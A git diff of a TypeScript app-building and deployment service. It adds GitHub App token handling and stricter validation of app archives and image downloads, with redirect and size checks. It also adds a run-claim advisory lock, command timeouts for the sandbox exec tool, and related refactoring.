-cf ${archive} && ` + - `wc -c <${archive}`, - ); - // For example, a process of the builder changed a file during the pack. - if (packed.exitCode !== 0) { - return { - error: `The files of the app could not be packed: ${packed.output.slice(0, 1_000)}`, - }; - } - // Stop an archive that is too large before the download. - const size = Number(packed.output.trim().split("\n").at(-1)); - if (size > MAX_APP_BYTES) return { error: tooLarge(size) }; - return await appFiles(await sandbox.download(`${base}.tar`)); - } finally { - await sandbox.run(`rm -f ${list} ${archive}`).catch(() => {}); - } -} - -/** The files in a tar archive of an app, or why the factory does not copy them. */ -export async function appFiles(archive: Buffer): Promise { - if (archive.byteLength > MAX_APP_BYTES) { - return { error: tooLarge(archive.byteLength) }; - } - // readAppFiles() packs a plain tar. A compressed archive can expand in - // memory to much more than the limit. - if ( - archive.subarray(0, GZIP_MAGIC.length).equals(GZIP_MAGIC) || - archive.subarray(0, ZSTD_MAGIC.length).equals(ZSTD_MAGIC) - ) { - return { error: "The archive of the app is compressed." }; - } - - let entries: TarEntry[]; - try { - entries = await tarEntries(archive); - } catch (error) { - return { - error: `The archive of the app is not a valid tar archive: ${error instanceof Error ? error.message : String(error)}`, - }; - } - - const files: AppFile[] = []; - const seen = new Set(); - for (const entry of entries) { - const error = entryError(entry, seen); - if (error) return { error }; - seen.add(entry.path); - // Git keeps only the executable bit of the owner. - files.push({ - path: entry.path, - data: entry.data, - executable: (entry.mode & 0o100) !== 0, - }); - } - if (files.length === 0) { - return { error: "No file in the app directory goes into a commit." }; - } - return { files }; -} - -interface TarEntry { - path: string; - type: string; - mode: number; - data: Buffer; -} - -function tarEntries(archive: Buffer): Promise { - return new Promise((resolve, reject) => { - const entries: TarEntry[] = []; - const parser = new Parser({ - // A damaged entry is an error, not a warning that skips the entry. - strict: true, - onReadEntry: (entry) => { - const chunks: Buffer[] = []; - entry.on("data", (chunk: Buffer) => chunks.push(chunk)); - entry.on("end", () => - entries.push({ - path: entry.path, - type: entry.type, - mode: entry.mode ?? 0, - data: Buffer.concat(chunks), - }), - ); - }, - }); - parser.on("error", reject); - parser.on("end", () => resolve(entries)); - parser.end(archive); - }); -} - -/** Why the factory does not copy an entry of the archive, or null. */ -function entryError( - entry: TarEntry, - seen: ReadonlySet, -): string | null { - if (/\p{Cc}/u.test(entry.path)) { - return `${JSON.stringify(entry.path)} has a control character in its name.`; - } - const path = entry.path.replace(/\/+$/, ""); - // git ls-files gives a Git repository in the app as one directory. - if (entry.type === "Directory") { - return `${path} is a Git repository in the app directory. Remove ${path}/.git, so that a commit holds its files.`; - } - if (entry.type === "SymbolicLink") { - return `${path} is a symbolic link. Only regular files are published: replace the link with a copy of the file or directory that it points to.`; - } - if (!REGULAR_FILE.has(entry.type)) { - return `${path} is a ${entry.type} entry. Only regular files are published.`; - } - const segments = entry.path.split("/"); - if ( - entry.path.startsWith("/") || - segments.some((segment) => ["", ".", ".."].includes(segment)) - ) { - return `${entry.path} is not a plain path below the app directory.`; - } - if (segments.some((segment) => segment.toLowerCase() === ".git")) { - return `${entry.path} is in a .git directory. No file from a .git directory is published.`; - } - if (seen.has(entry.path)) { - return `${entry.path} is in the archive two times.`; - } - return null; -} - -function tooLarge(bytes: number): string { - const mb = (value: number) => Math.ceil(value / (1024 * 1024)); - return ( - `The files of the app are ${mb(bytes)} MB, and the limit is ${mb(MAX_APP_BYTES)} MB. ` + - "Remove large files, and files that are in the app two times." - ); -} - -/** - * Replace the app directory of a clone with the files of the build. One - * script writes them all, as materializeTemplate() writes a template, and - * base64 carries each file, so that binary data comes through unchanged. - */ -export async function writeAppFiles( - sandbox: Sandbox, - appDir: string, - files: readonly AppFile[], -): Promise { - const scriptPath = `/tmp/vibe-app-${randomUUID()}.sh`; - await sandbox.upload(scriptPath, appFilesScript(files, appDir)); - try { - await sandbox.mustRun( - `sh ${shellEscape(scriptPath)}`, - "Write the files of the app", - ); - } finally { - await sandbox.run(`rm -f ${shellEscape(scriptPath)}`).catch(() => {}); - } -} - -/** - * The script that writeAppFiles() runs. Each path is a plain relative path - * from appFiles(), and the directory is new. So each file goes below the app - * directory: no symbolic link is there to follow. - */ -function appFilesScript(files: readonly AppFile[], appDir: string): string { - // "./" first, so that no command reads a path such as "-rf" as an option. - const local = (path: string) => shellEscape(`./${path}`); - const directories = new Set(); - for (const { path } of files) { - const slash = path.lastIndexOf("/"); - if (slash > 0) directories.add(path.slice(0, slash)); - } - - const lines = [ - "set -e", - `rm -rf ${shellEscape(appDir)}`, - `mkdir -p ${shellEscape(appDir)}`, - `cd ${shellEscape(appDir)}`, - ]; - if (directories.size > 0) { - lines.push(`mkdir -p ${[...directories].sort().map(local).join(" ")}`); - } - for (const file of files) { - // One string for each file, with a line break after each 76 characters. - // An array of short lines takes much more memory. - const base64 = file.data - .toString("base64") - .replace(/.{76}(?=.)/g, "$&\n"); - lines.push( - `base64 -d >${local(file.path)} <<'${FILE_EOF}'`, - base64, - FILE_EOF, - ); - if (file.executable) lines.push(`chmod 755 ${local(file.path)}`); - } - return `${lines.join("\n")}\n`; -} - -/* ── Credentials ──────────────────────────────────────────────────────── */ - -interface AppCredentials { - appId: string; - privateKey: string; - installationId: string; -} - -let cachedToken: { token: string; expiresAt: number } | undefined; - -function appCredentials(): AppCredentials | null { - const appId = process.env.GITHUB_APP_ID?.trim(); - const privateKey = process.env.GITHUB_APP_PRIVATE_KEY?.trim(); - const installationId = process.env.GITHUB_APP_INSTALLATION_ID?.trim(); - if (!appId || !privateKey || !installationId) return null; - return { appId, privateKey: normalizePrivateKey(privateKey), installationId }; -} - -/** - * Accept the PEM as-is, with escaped newlines, or base64-encoded — env vars - * make real newlines awkward and every deployment tool escapes them - * differently. - */ -function normalizePrivateKey(value: string): string { - if (value.includes("BEGIN")) return value.replace(/\\n/g, "\n"); - return Buffer.from(value, "base64").toString("utf8"); -} - -function base64url(value: string | Buffer): string { - return Buffer.from(value).toString("base64url"); -} - -/** Short-lived JWT proving we hold the app's private key. */ -function appJwt({ appId, privateKey }: AppCredentials): string { - const now = Math.floor(Date.now() / 1000); - const header = base64url(JSON.stringify({ alg: "RS256", typ: "JWT" })); - // Backdated for clock skew; GitHub rejects an exp more than 10 minutes out. - const payload = base64url( - JSON.stringify({ iat: now - 60, exp: now + 540, iss: appId }), - ); - - const signer = createSign("RSA-SHA256"); - signer.update(`${header}.${payload}`); - return `${header}.${payload}.${signer.sign(privateKey, "base64url")}`; -} - -async function installationToken( - credentials: AppCredentials, - fetchImpl: typeof fetch, -): Promise<{ token: string; expiresAt: number }> { - const response = await fetchImpl( - `${GITHUB_API}/app/installations/${credentials.installationId}/access_tokens`, - { - method: "POST", - headers: { - Authorization: `Bearer ${appJwt(credentials)}`, - Accept: "application/vnd.github+json", - "X-GitHub-Api-Version": "2022-11-28", - "User-Agent": "vibe-factory", - }, - signal: AbortSignal.timeout(15_000), - }, - ); - - if (!response.ok) { - const body = await response.text().catch(() => ""); - throw new Error( - `GitHub App token exchange failed (${response.status}): ${body.slice(0, 300)}`, - ); - } - - const body = (await response.json()) as { token: string; expires_at: string }; - return { token: body.token, expiresAt: Date.parse(body.expires_at) }; -} - -/** - * The token to authenticate with. Installation tokens are cached and renewed - * before they expire, because a run can outlive the one-hour lifetime. - */ -export async function githubToken( - fetchImpl: typeof fetch = fetch, -): Promise { - const credentials = appCredentials(); - - if (!credentials) { - const pat = process.env.GITHUB_TOKEN?.trim(); - if (!pat) { - throw new Error( - "No GitHub credentials. Set GITHUB_TOKEN, or GITHUB_APP_ID, " + - "GITHUB_APP_PRIVATE_KEY, and GITHUB_APP_INSTALLATION_ID.", - ); - } - return pat; - } - - if (cachedToken && cachedToken.expiresAt - REFRESH_MARGIN_MS > Date.now()) { - return cachedToken.token; - } - cachedToken = await installationToken(credentials, fetchImpl); - return cachedToken.token; -} - -/** True when the factory acts as a GitHub App rather than a user. */ -export function usingGitHubApp(): boolean { - return appCredentials() !== null; -} - -/** Test seam. */ -export function resetTokenCache(): void { - cachedToken = undefined; -} diff --git a/app/github.ts b/app/github.ts new file mode 100644 index 0000000..b762b64 --- /dev/null +++ b/app/github.ts @@ -0,0 +1,123 @@ +/** + * GitHub credentials: a GitHub App installation token, or a PAT as the + * fallback. GitHub is only a code substrate: Render's Blueprint deploys from + * the apps repository, so the one thing the factory needs from GitHub is a + * token that can push to it. There is no REST client. + * + * The token never goes into a task input, because the Dashboard shows every + * task input, and never into a sandbox an agent used. + */ +import { createSign } from "node:crypto"; + +const GITHUB_API = process.env.GITHUB_API_URL ?? "https://api.github.com"; +const REFRESH_MARGIN_MS = 5 * 60 * 1000; + +interface AppCredentials { + appId: string; + privateKey: string; + installationId: string; +} + +let cachedToken: { token: string; expiresAt: number } | undefined; + +function appCredentials(): AppCredentials | null { + const appId = process.env.GITHUB_APP_ID?.trim(); + const privateKey = process.env.GITHUB_APP_PRIVATE_KEY?.trim(); + const installationId = process.env.GITHUB_APP_INSTALLATION_ID?.trim(); + if (!appId || !privateKey || !installationId) return null; + return { appId, privateKey: normalizePrivateKey(privateKey), installationId }; +} + +/** + * Accept the PEM as-is, with escaped newlines, or base64-encoded — env vars + * make real newlines awkward and every deployment tool escapes them + * differently. + */ +function normalizePrivateKey(value: string): string { + if (value.includes("BEGIN")) return value.replace(/\\n/g, "\n"); + return Buffer.from(value, "base64").toString("utf8"); +} + +function base64url(value: string | Buffer): string { + return Buffer.from(value).toString("base64url"); +} + +/** Short-lived JWT proving we hold the app's private key. */ +function appJwt({ appId, privateKey }: AppCredentials): string { + const now = Math.floor(Date.now() / 1000); + const header = base64url(JSON.stringify({ alg: "RS256", typ: "JWT" })); + // Backdated for clock skew; GitHub rejects an exp more than 10 minutes out. + const payload = base64url( + JSON.stringify({ iat: now - 60, exp: now + 540, iss: appId }), + ); + + const signer = createSign("RSA-SHA256"); + signer.update(`${header}.${payload}`); + return `${header}.${payload}.${signer.sign(privateKey, "base64url")}`; +} + +async function installationToken( + credentials: AppCredentials, + fetchImpl: typeof fetch, +): Promise<{ token: string; expiresAt: number }> { + const response = await fetchImpl( + `${GITHUB_API}/app/installations/${credentials.installationId}/access_tokens`, + { + method: "POST", + headers: { + Authorization: `Bearer ${appJwt(credentials)}`, + Accept: "application/vnd.github+json", + "X-GitHub-Api-Version": "2022-11-28", + "User-Agent": "vibe-factory", + }, + signal: AbortSignal.timeout(15_000), + }, + ); + + if (!response.ok) { + const body = await response.text().catch(() => ""); + throw new Error( + `GitHub App token exchange failed (${response.status}): ${body.slice(0, 300)}`, + ); + } + + const body = (await response.json()) as { token: string; expires_at: string }; + return { token: body.token, expiresAt: Date.parse(body.expires_at) }; +} + +/** + * The token to authenticate with. Installation tokens are cached and renewed + * before they expire, because a run can outlive the one-hour lifetime. + */ +export async function githubToken( + fetchImpl: typeof fetch = fetch, +): Promise { + const credentials = appCredentials(); + + if (!credentials) { + const pat = process.env.GITHUB_TOKEN?.trim(); + if (!pat) { + throw new Error( + "No GitHub credentials. Set GITHUB_TOKEN, or GITHUB_APP_ID, " + + "GITHUB_APP_PRIVATE_KEY, and GITHUB_APP_INSTALLATION_ID.", + ); + } + return pat; + } + + if (cachedToken && cachedToken.expiresAt - REFRESH_MARGIN_MS > Date.now()) { + return cachedToken.token; + } + cachedToken = await installationToken(credentials, fetchImpl); + return cachedToken.token; +} + +/** True when the factory acts as a GitHub App rather than a user. */ +export function usingGitHubApp(): boolean { + return appCredentials() !== null; +} + +/** Test seam. */ +export function resetTokenCache(): void { + cachedToken = undefined; +} diff --git a/app/images.ts b/app/images.ts index 59f439f..ce1a446 100644 --- a/app/images.ts +++ b/app/images.ts @@ -16,6 +16,8 @@ const SEARCH_TIMEOUT_MS = 20_000; const FETCH_TIMEOUT_MS = 30_000; const RATE_LIMIT_RETRIES = 2; const RATE_LIMIT_BACKOFF_MS = 1_000; +const REDIRECTS = new Set([301, 302, 303, 307, 308]); +const MAX_REDIRECTS = 3; /** The search results to choose from, for each subject. */ const CANDIDATES = 8; @@ -92,9 +94,9 @@ async function collectOne( * Pick one candidate: a real photograph, wide rather than tall, best source * available. * - * Sorting by thumbnail area used to win, and since every thumbnail is capped - * to the same width, that meant "tallest" — which selected portraits, the - * largest files, and the worst shapes for a hero image. + * Rank by the source, not the thumbnail. Every thumbnail is capped to the + * same width, so the largest thumbnail is the tallest one: a portrait, the + * largest file, and the worst shape for a hero image. */ export function bestCandidate( candidates: readonly CommonsCandidate[], @@ -115,29 +117,72 @@ export function bestCandidate( /** * Fetch and check one image, or throw with a reason to log. The URL comes * from Commons, but it is still data from the internet: only HTTPS, only an - * allowed host, only an image, and only up to the size limit. + * allowed host, only an image, and only up to the size limit. A redirect can + * point anywhere, so each hop is checked as the first URL is. */ async function downloadImage(rawUrl: string): Promise { - const url = new URL(rawUrl); + const signal = AbortSignal.timeout(FETCH_TIMEOUT_MS); + let url = allowedUrl(rawUrl); + for (let hop = 0; ; hop++) { + const response = await fetch(url, { + headers: { "user-agent": USER_AGENT }, + redirect: "manual", + signal, + }); + const location = response.headers.get("location"); + if (!REDIRECTS.has(response.status) || !location) { + return imageBody(response); + } + await response.body?.cancel(); + if (hop === MAX_REDIRECTS) throw new Error("too many redirects"); + url = allowedUrl(location, url); + } +} + +/** A URL that the image download may fetch, or an error. */ +function allowedUrl(raw: string, base?: URL): URL { + const url = new URL(raw, base); if (url.protocol !== "https:") throw new Error("not https"); if (!factoryConfig.assets.allowedHosts.includes(url.hostname)) { throw new Error(`host not allowed: ${url.hostname}`); } + return url; +} - const response = await fetch(url, { - headers: { "user-agent": USER_AGENT }, - signal: AbortSignal.timeout(FETCH_TIMEOUT_MS), - }); - if (!response.ok) throw new Error(`HTTP ${response.status}`); +/** + * The body of an image response. A body over the limit is refused by its + * content-length before the read, and the read stops at the limit for a body + * that has none or that lies. + */ +async function imageBody(response: Response): Promise { + const limit = factoryConfig.assets.maxBytes; + const refuse = async (reason: string): Promise => { + await response.body?.cancel(); + throw new Error(reason); + }; + if (!response.ok) return refuse(`HTTP ${response.status}`); if (!(response.headers.get("content-type") ?? "").startsWith("image/")) { - throw new Error("not an image"); + return refuse("not an image"); } + const declared = Number(response.headers.get("content-length")); + if (declared > limit) return refuse(`${declared} bytes exceeds the limit`); - const bytes = Buffer.from(await response.arrayBuffer()); - if (bytes.byteLength > factoryConfig.assets.maxBytes) { - throw new Error(`${bytes.byteLength} bytes exceeds the limit`); + const chunks: Uint8Array[] = []; + let size = 0; + if (response.body) { + const reader = response.body.getReader(); + for (;;) { + const { done, value } = await reader.read(); + if (done) break; + size += value.byteLength; + if (size > limit) { + await reader.cancel(); + throw new Error(`the body exceeds the limit of ${limit} bytes`); + } + chunks.push(value); + } } - return bytes; + return Buffer.concat(chunks); } function slugify(subject: string): string { @@ -272,8 +317,8 @@ function parseCommons(payload: unknown): CommonsCandidate[] { }[]; }; const info = record.imageinfo?.[0]; - // Thumbnail only. Falling back to the original once shipped an archive - // master into a landing page. + // Thumbnail only. The original can be an archive master, far too large + // for a landing page. if (!info?.thumburl || !record.title) continue; const meta = info.extmetadata ?? {}; diff --git a/app/policy.ts b/app/policy.ts index 7c15f8b..a267869 100644 --- a/app/policy.ts +++ b/app/policy.ts @@ -115,7 +115,7 @@ export function resolveSandboxPath( }; } -/** Lexical resolution of `.` and `..`. The sandbox has no symlinks we follow. */ +/** Lexical resolution of `.` and `..`. It does not follow symbolic links. */ function normalizePosix(path: string): string { const absolute = path.startsWith("/"); const parts: string[] = []; diff --git a/app/publish.ts b/app/publish.ts index a59f1a3..a4d0dba 100644 --- a/app/publish.ts +++ b/app/publish.ts @@ -9,7 +9,12 @@ import { appRelativePath, factoryConfig, } from "../factory.config.js"; -import { appBlueprint, declaredResources, rootBlueprint } from "./blueprint.js"; +import { + appBlueprint, + declaredResources, + joinServiceDir, + rootBlueprint, +} from "./blueprint.js"; import { appsRepo } from "./config.js"; import { type AppSpec, @@ -17,14 +22,14 @@ import { type PublishAppInput, publishAppInputSchema, } from "./contracts.js"; +import { readAppFiles, writeAppFiles } from "./files.js"; import { cloneAppsRepo, commitPaths, - githubToken, + headChangedPaths, pushVerified, - readAppFiles, - writeAppFiles, } from "./git.js"; +import { githubToken } from "./github.js"; import { connectSandbox, createSandbox, @@ -41,7 +46,8 @@ const PUBLISH_TIMEOUT_SECONDS = 10 * 60; * the app's render.yaml and README, and the root Blueprint from the spec, * commit them with the app, and push. Render deploys the push, so the parent * starts this only after verify-app passes. Returns the pushed commit, or - * null when no file changed. + * null when no file changed, and the services that Render deploys again for + * it. * * The builder can run any command in the sandbox of the run. A process that * it starts stays after the command, and it can change git itself. So the @@ -54,14 +60,14 @@ const PUBLISH_TIMEOUT_SECONDS = 10 * 60; export const publishAppTask = task( { name: "publish-app", - plan: "starter", + plan: "flex", timeoutSeconds: PUBLISH_TIMEOUT_SECONDS, retry: { maxRetries: 0, waitDurationMs: 0 }, }, async function publishApp( _tasks: TaskContext, input: PublishAppInput, - ): Promise<{ commit: string | null }> { + ): Promise { const { sandboxId, spec, message } = publishAppInputSchema.parse(input); const repoUrl = appsRepo().url; const appDir = appPath(spec.user, spec.appName); @@ -71,24 +77,61 @@ export const publishAppTask = task( if ("error" in built) { throw new Error(`publish-app did not copy the app. ${built.error}`); } - const commit = await inAppsClone(PUBLISH_TIMEOUT_SECONDS, (clone) => - commitAndPush(clone, spec, message, async () => { - await writeAppFiles(clone.sandbox, appDir, built.files); - await writeBlueprints(clone.sandbox, spec, appDir, repoUrl); - }), + const published = await inAppsClone( + PUBLISH_TIMEOUT_SECONDS, + async (clone): Promise => { + const commit = await commitAndPush(clone, spec, message, async () => { + await writeAppFiles(clone.sandbox, appDir, built.files); + await writeBlueprints(clone.sandbox, spec, appDir, repoUrl); + }); + if (!commit) return { commit, changedServices: [] }; + return { + commit, + changedServices: servicesChangedBy( + spec, + await headChangedPaths(clone.sandbox), + ), + }; + }, ); console.log( JSON.stringify({ event: "app_published", user: spec.user, appName: spec.appName, - commit, + ...published, }), ); - return { commit }; + return published; }, ); +export interface PublishResult { + /** The pushed commit, or null when no file changed. */ + commit: string | null; + /** The manifest services that the commit gives a new deploy. */ + changedServices: string[]; +} + +/** + * The manifest services whose directory holds a path that the commit + * changes. The buildFilter of each service is its directory, so Render + * deploys only these again. A rootDir of "." is the app directory, which + * holds factory.json. + */ +export function servicesChangedBy( + spec: AppSpec, + changedPaths: readonly string[], +): string[] { + const root = appRelativePath(spec.user, spec.appName); + return spec.manifest.services + .filter((service) => { + const dir = joinServiceDir(root, service.rootDir); + return changedPaths.some((path) => path.startsWith(`${dir}/`)); + }) + .map((service) => service.name); +} + async function writeBlueprints( sandbox: Sandbox, spec: AppSpec, diff --git a/app/render.ts b/app/render.ts index f5f7d8a..3e28e06 100644 --- a/app/render.ts +++ b/app/render.ts @@ -185,6 +185,37 @@ export async function waitForDeploy( return { deployId, status: `timed out while ${status}`, result: "timed_out" }; } +/** + * The newest deploy of each named service that exists, keyed by service + * name. Read it before a push: after the push, the newest deploy of a service + * stays the one from before until Render creates the new one, so this is the + * `after` of waitForDeploy(). A service that does not exist yet, or that has + * no deploy, is absent. A read that fails is tried again, as retryRead() + * describes. + */ +export async function latestDeploys( + workspaceId: string, + names: readonly string[], +): Promise> { + const wanted = new Set(names); + const services = await retryRead("The service lookup", () => + listServices(workspaceId, names), + ); + const deploys = new Map(); + await Promise.all( + services + .filter((service) => wanted.has(service.name)) + .map(async (service) => { + const deploy = await retryRead( + `The deploy lookup of ${service.id}`, + () => latestDeploy(service.id), + ); + if (deploy) deploys.set(service.name, deploy.id); + }), + ); + return deploys; +} + /** The newest deploy of a service, or null when it has none. */ async function latestDeploy( serviceId: string, diff --git a/app/sandbox.ts b/app/sandbox.ts index 85adf5c..cd8cef8 100644 --- a/app/sandbox.ts +++ b/app/sandbox.ts @@ -145,8 +145,9 @@ export function connectSandbox(sandboxId: string): Sandbox { /** * The sandbox group of the workspace, for the link to a sandbox in the Render - * Dashboard. A sandbox does not name its group, but in the alpha a workspace - * has at most one. With more than one, the group of a sandbox is not known. + * Dashboard. A sandbox does not name its group, but in early access a + * workspace has at most one. With more than one, the group of a sandbox is + * not known. */ export async function sandboxGroupId(): Promise { const { client, ownerId } = api(); diff --git a/app/store.ts b/app/store.ts index efa8261..20d26d4 100644 --- a/app/store.ts +++ b/app/store.ts @@ -126,16 +126,36 @@ export async function ping(): Promise { await db().query("select 1"); } +/** + * The advisory lock of claimRun: any fixed key. withAppLock takes the + * two-key form, and Postgres keeps the one-key and two-key lock spaces + * apart, so no app lock is this lock. + */ +const RUN_CLAIM_LOCK = 0x76696265; + /** * Run statements in one transaction that holds the lock of one app. A delete * takes the lock to claim the runs of the app, and a run takes it to claim an * app name. So a run cannot start to build an app while it is being deleted, * or while a different run builds it. */ -async function withAppLock( +function withAppLock( user: string, appName: string, work: (client: pg.PoolClient) => Promise, +): Promise { + return withLock( + "select pg_advisory_xact_lock(hashtext($1), hashtext($2))", + [user, appName], + work, + ); +} + +/** Run statements in one transaction that holds an advisory lock. */ +async function withLock( + lock: string, + values: readonly unknown[], + work: (client: pg.PoolClient) => Promise, ): Promise { const client = await db().connect(); // The pool listens for "error" only on an idle client. If Postgres closes @@ -151,10 +171,7 @@ async function withAppLock( await client.query("begin"); // The lock must come before the reads: a statement sees only the rows // that were committed when it started. - await client.query( - "select pg_advisory_xact_lock(hashtext($1), hashtext($2))", - [user, appName], - ); + await client.query(lock, [...values]); const result = await work(client); await client.query("commit"); return result; @@ -170,39 +187,50 @@ async function withAppLock( } /** - * Claim a run. Postgres enforces both limits rather than application code: - * the unique idempotency key stops a duplicate curl, and the conditional - * insert stops the factory from running more sandboxes than it should. + * Claim a run. The unique idempotency key stops a duplicate curl, and the + * conditional insert stops the factory from running more sandboxes than it + * should. + * + * Under READ COMMITTED, two concurrent inserts each count the running rows + * without the row of the other, and both can pass the cap. So each claim + * holds one advisory lock, and a claim counts after the commit of the claim + * before it. */ -export async function claimRun(input: { +export function claimRun(input: { id: string; idempotencyKey: string; prompt: string; user: string; }): Promise { - const inserted = await db().query( - `insert into runs (id, idempotency_key, prompt, user_name) - select $1, $2, $3, $4 - where (select count(*) from runs where status = 'running') < $5 - on conflict (idempotency_key) do nothing`, - [ - input.id, - input.idempotencyKey, - input.prompt, - input.user, - factoryConfig.maxConcurrentRuns, - ], - ); - if (inserted.rowCount === 1) return { claimed: true }; - - // Nothing inserted: either the key was seen before or we are at capacity. - const { rows } = await db().query( - "select id from runs where idempotency_key = $1", - [input.idempotencyKey], + return withLock( + "select pg_advisory_xact_lock($1::bigint)", + [RUN_CLAIM_LOCK], + async (client): Promise => { + const inserted = await client.query( + `insert into runs (id, idempotency_key, prompt, user_name) + select $1, $2, $3, $4 + where (select count(*) from runs where status = 'running') < $5 + on conflict (idempotency_key) do nothing`, + [ + input.id, + input.idempotencyKey, + input.prompt, + input.user, + factoryConfig.maxConcurrentRuns, + ], + ); + if (inserted.rowCount === 1) return { claimed: true }; + + // Nothing inserted: either the key was seen before or we are at capacity. + const { rows } = await client.query<{ id: string }>( + "select id from runs where idempotency_key = $1", + [input.idempotencyKey], + ); + return rows.length > 0 + ? { claimed: false, reason: "duplicate", runId: rows[0].id } + : { claimed: false, reason: "at_capacity" }; + }, ); - return rows.length > 0 - ? { claimed: false, reason: "duplicate", runId: rows[0].id } - : { claimed: false, reason: "at_capacity" }; } /** diff --git a/app/templates.ts b/app/templates.ts index 1bd7374..0822734 100644 --- a/app/templates.ts +++ b/app/templates.ts @@ -4,8 +4,8 @@ * Templates live in this repository rather than in a repository of their own, * which keeps them version-locked to the code that deploys them: a template * that assumes `preDeployCommand` cannot drift away from a `blueprint.ts` that - * emits it, and `npm run check` builds them in CI, which is the only thing - * that keeps a template working. + * emits it, and the `templates` job in CI builds them, which is the only + * thing that keeps a template working. * * They are materialized as one self-extracting shell script rather than a file * at a time. Every file goes through `sandbox.writeFile`, which costs two API @@ -86,10 +86,8 @@ export function extractionScript( if (file.contents.split("\n").some((line) => line === HEREDOC)) { throw new Error(`${file.path} contains the heredoc delimiter`); } - // A heredoc always terminates its last line, so a file that does not end - // in a newline gains one. Every template file is source that should end - // in one anyway; this makes the normalization deliberate rather than a - // surprise in the diff. + // A heredoc always ends its last line, so a file without a final newline + // gains one. lines.push( `cat > ${shellEscape(file.path)} <<'${HEREDOC}'`, file.contents.replace(/\n$/, ""), diff --git a/app/tools.ts b/app/tools.ts index dcd7adc..2a16ceb 100644 --- a/app/tools.ts +++ b/app/tools.ts @@ -5,6 +5,7 @@ import { type Sandbox, shellEscape } from "./sandbox.js"; export const MAX_OUTPUT_CHARS = 50_000; export const MAX_READ_CHARS = 100_000; +export const SANDBOX_COMMAND_TIMEOUT_SECONDS = 10 * 60; export type ZodShape = Record; @@ -164,28 +165,42 @@ const execSchema = { .describe("Working directory. Defaults to the app directory."), }; -export const sandboxExec: Tool = { - name: "sandbox__exec", - description: - "Execute a shell command in the sandbox, from the app directory unless cwd says otherwise. " + - "Returns combined stdout/stderr and the exit code. " + - "A non-zero exit code is normal output (e.g. failing tests), not a tool error.", - inputSchema: execSchema, - async invoke(input, ctx): Promise { - // Always cd first. The exec API starts in `/`, so a command built from - // relative paths would otherwise write outside the checkout. - const cwd = resolveSandboxPath(ctx.workDir, input.cwd ?? "."); - if ("error" in cwd) return pathError(cwd.error); +export function sandboxExecTool( + timeoutSeconds = SANDBOX_COMMAND_TIMEOUT_SECONDS, +): Tool { + return { + name: "sandbox__exec", + description: + "Execute a shell command in the sandbox, from the app directory unless cwd says otherwise. " + + `Commands stop after ${timeoutSeconds} seconds. Returns combined stdout/stderr and the exit code. ` + + "A non-zero exit code is normal output (e.g. failing tests), not a tool error.", + inputSchema: execSchema, + async invoke(input, ctx): Promise { + // Always cd first. The exec API starts in `/`, so a command built from + // relative paths would otherwise write outside the checkout. + const cwd = resolveSandboxPath(ctx.workDir, input.cwd ?? "."); + if ("error" in cwd) return pathError(cwd.error); + + const command = + `cd ${shellEscape(cwd.path)} && ` + + `timeout --signal=TERM --kill-after=5s ${timeoutSeconds}s sh -c ${shellEscape(input.command)}`; + const { output, exitCode } = await ctx.sandbox.run(command); + if (exitCode === 124 || exitCode === 137) { + return { + content: `Command timed out after ${timeoutSeconds} seconds.${output ? `\n${truncate(output)}` : ""}`, + isError: true, + }; + } + const body = truncate(output) || "(no output)"; + return { + content: exitCode === 0 ? body : `Exit code: ${exitCode}\n${body}`, + isError: exitCode !== 0, + }; + }, + }; +} - const command = `cd ${shellEscape(cwd.path)} && ${input.command}`; - const { output, exitCode } = await ctx.sandbox.run(command); - const body = truncate(output) || "(no output)"; - return { - content: exitCode === 0 ? body : `Exit code: ${exitCode}\n${body}`, - isError: exitCode !== 0, - }; - }, -}; +export const sandboxExec = sandboxExecTool(); const applyPatchSchema = { diff: z.string().describe("A unified diff in `git apply` format."), @@ -211,8 +226,9 @@ export const sandboxApplyPatch: Tool = { const patchPath = `/tmp/.vibe-${Date.now()}-${++patchCounter}.patch`; await ctx.sandbox.upload(patchPath, input.diff); + const patch = shellEscape(patchPath); const { output, exitCode } = await ctx.sandbox.run( - `cd ${shellEscape(cwd.path)} && git apply --whitespace=nowarn ${patchPath} && rm ${patchPath}`, + `(cd ${shellEscape(cwd.path)} && git apply --whitespace=nowarn ${patch}); status=$?; rm -f ${patch}; exit $status`, ); if (exitCode !== 0) { return { diff --git a/app/verify.ts b/app/verify.ts index 32fb674..503d5c6 100644 --- a/app/verify.ts +++ b/app/verify.ts @@ -11,16 +11,13 @@ import { type VerifyAppInput, verifyAppInputSchema, } from "./contracts.js"; -import { - appGitignore, - readAppFiles, - removeIgnored, - runVerification, -} from "./git.js"; +import { readAppFiles } from "./files.js"; +import { appGitignore, removeIgnored } from "./git.js"; import { connectSandbox, type Sandbox, shellEscape } from "./sandbox.js"; /** verify-app builds each service and boots each web service. */ const VERIFY_TIMEOUT_SECONDS = 30 * 60; +const MAX_VERIFY_OUTPUT_CHARS = 10_000; const SMOKE_PORT = 8099; const BOOT_ATTEMPTS = 15; /** Proves a health endpoint answers before Postgres is reachable, as Render requires. */ @@ -28,6 +25,11 @@ const UNREACHABLE_DATABASE_URL = "postgres://unreachable/db"; /** `fromService` properties that give an address on Render's private network. */ const PRIVATE_NETWORK_PROPERTIES = new Set(["host", "port", "hostport"]); +interface VerificationResult { + passed: boolean; + failures: string; +} + /** * Verify the builder's files in the sandbox. A check that fails is a result, * not an error: the parent gives the failures to the builder, or it ends the @@ -41,7 +43,7 @@ export const verifyAppTask = task( { name: "verify-app", // The builds run in the sandbox, not on the compute of this task. - plan: "starter", + plan: "flex", timeoutSeconds: VERIFY_TIMEOUT_SECONDS, retry: { maxRetries: 0, waitDurationMs: 0 }, }, @@ -119,8 +121,6 @@ async function verify( failures.push(...checkStaticSiteEnvVars(service)); const serviceDir = joinServiceDir(appDir, service.rootDir); - - // Run the build command. const build = await runVerification(sandbox, serviceDir, [ service.buildCommand, ]); @@ -148,7 +148,6 @@ async function verify( `${service.name}: index.html is only ${index.output.length} bytes — the build produced an empty page.`, ); } else { - // Check for placeholder content in the built output. const placeholders = await checkForPlaceholders(sandbox, publishDir); failures.push(...placeholders); } @@ -167,6 +166,31 @@ async function verify( return failures; } +/** Run commands in a directory and summarize failures. */ +async function runVerification( + sandbox: Sandbox, + dir: string, + commands: readonly string[], +): Promise { + const failures: string[] = []; + + for (const command of commands) { + const { output, exitCode } = await sandbox.run( + `cd ${shellEscape(dir)} && ${command}`, + ); + if (exitCode !== 0) { + failures.push( + `Command: ${command}\nExit code: ${exitCode}\nOutput:\n${output.slice(0, MAX_VERIFY_OUTPUT_CHARS)}`, + ); + } + } + + return { + passed: failures.length === 0, + failures: failures.join("\n\n---\n\n"), + }; +} + /** * A static site gets its env vars at 